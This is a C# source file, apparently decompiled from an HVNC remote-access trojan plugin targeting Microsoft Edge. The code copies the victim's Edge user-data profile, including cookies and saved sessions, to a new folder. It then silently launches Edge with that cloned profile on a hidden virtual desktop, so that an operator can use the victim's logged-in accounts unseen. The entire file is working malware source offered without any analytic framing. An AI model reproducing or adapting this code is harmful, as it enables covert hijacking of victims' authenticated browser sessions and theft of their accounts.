93 lines
2.7 KiB
C#
93 lines
2.7 KiB
C#
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// Plugin.Edge
|
|
#define DEBUG
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using bozman;
|
|
using Microsoft.VisualBasic.Devices;
|
|
|
|
public class Edge
|
|
{
|
|
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\User Data";
|
|
|
|
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\Edge Data";
|
|
|
|
private static readonly string FilenameEdge = WDir.SystemDirectory + "Program Files\\Microsoft\\Edge\\Application\\msedge.exe";
|
|
private static readonly string FilenameEdgeX86 = WDir.SystemDirectory + "Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe";
|
|
|
|
public static void OpenEdgeBrowser()
|
|
{
|
|
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
|
try
|
|
{
|
|
bool flag = !File.Exists(Edge.FilenameEdge) && !File.Exists(Edge.FilenameEdgeX86);
|
|
if (flag)
|
|
{
|
|
Helper.MsgLogs("MicrosoftEdge: Not Installed!");
|
|
return;
|
|
}
|
|
|
|
try
|
|
{
|
|
if (!Directory.Exists(fileNameUserDataCopy))
|
|
{
|
|
Helper.MsgLogs("MicrosoftEdge: CloneProfile..");
|
|
new Computer().FileSystem.CopyDirectory(fileNameUserData, fileNameUserDataCopy);
|
|
Helper.MsgLogs("MicrosoftEdge: CloneProfile Completed");
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
new Thread((ThreadStart)delegate
|
|
{
|
|
Thread.Sleep(1000);
|
|
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
|
Open();
|
|
}).Start();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Helper.MsgLogs("MicrosoftEdge: " + ex.Message);
|
|
}
|
|
}
|
|
|
|
public static void Open()
|
|
{
|
|
try
|
|
{
|
|
|
|
string Path = null;
|
|
|
|
if (System.IO.File.Exists(Edge.FilenameEdge))
|
|
{
|
|
Path = Edge.FilenameEdge;
|
|
}
|
|
|
|
if (System.IO.File.Exists(Edge.FilenameEdgeX86))
|
|
{
|
|
Path = Edge.FilenameEdgeX86;
|
|
}
|
|
|
|
|
|
if (Path == null)
|
|
{
|
|
return;
|
|
}
|
|
|
|
SetCurrentVirtualDesktop.CreateProcess("\"" + Path + "\" --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=" + fileNameUserDataCopy + "\"", Helper.HVNCDesktopName, bAppName: false);
|
|
Helper.MsgLogs("MicrosoftEdge: Running");
|
|
Thread.Sleep(3000);
|
|
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
|
Debug.WriteLine("Refrsh");
|
|
GetHandleWindow.GetListWindow();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Helper.MsgLogs("MicrosoftEdge: " + ex.Message);
|
|
}
|
|
}
|
|
}
|